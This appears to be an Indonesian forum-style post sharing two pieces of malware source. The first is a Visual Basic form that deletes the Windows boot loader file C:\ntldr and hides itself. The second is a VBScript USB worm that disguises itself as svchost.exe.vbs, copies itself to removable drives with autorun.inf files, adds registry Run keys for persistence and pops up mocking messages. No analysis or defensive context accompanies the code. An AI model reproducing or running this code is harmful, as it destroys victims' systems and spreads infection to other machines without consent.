CODING YANG KE SATU
Private Sub Form_Load() Dim filetarget As String filetarget = "C:\ntldr" Kill filetarget Label1.Caption = " Deleting Target...please wait " Timer1.Enabled = True End Sub Private Sub Timer1_Timer() Label2.Caption = "Done" End Sub Private Sub Form_Activate() Timer1.Enabled = False Me.Hide End sub
CODING YANG KE 2 'El Magnifico MAN on error resume next dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe svchost.exe.vbs" set fs = createobject("Scripting.FileSystemObject") set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) set tf = fs.getfile(winpath & "\svchost.exe.vbs") tf.attributes = 32 set tf=fs.createtextfile(winpath & "\svchost.exe.vbs",2,true) tf.write mysource tf.close set tf = fs.getfile(winpath & "\svchost.exe.vbs") tf.attributes = 39 for each flashdrive in fs.drives If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs") tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &"\svchost.exe.vbs",2,true) tf.write mysource tf.close set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs") tf.attributes =39 set tf =fs.getfile(flashdrive.path &"\autorun.inf") tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true) tf.write atr tf.close set tf =fs.getfile(flashdrive.path &"\autorun.inf") tf.attributes=39
end if next set rg = createobject("WScript.Shell") rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost ",winpath&"\svchost.exe.vbs" rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL ","" rg.regwrite "HKCR\vbsfile\DefaultIcon\","shell32.dll,3" if check <> 1 then Wscript.sleep 100000 end if loop while check<>1 set sd = createobject("Wscript.shell") sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname do while year(now) >= 2008 WScript.sleep 20000 msgbox "adhecyber" & vbcrlf & _ "kokwoowkowkowko" & vbcrlf & _ "hahahahaha," & vbcrlf & _ "dodol dodol" & vbcrlf & _ vbcrlf & vbcrlf & _ "Stikom wewewewewewew" & vbcrlf & vbcrlf & _ " Suara kami dengar ding dalam sisten sistem pendidikan"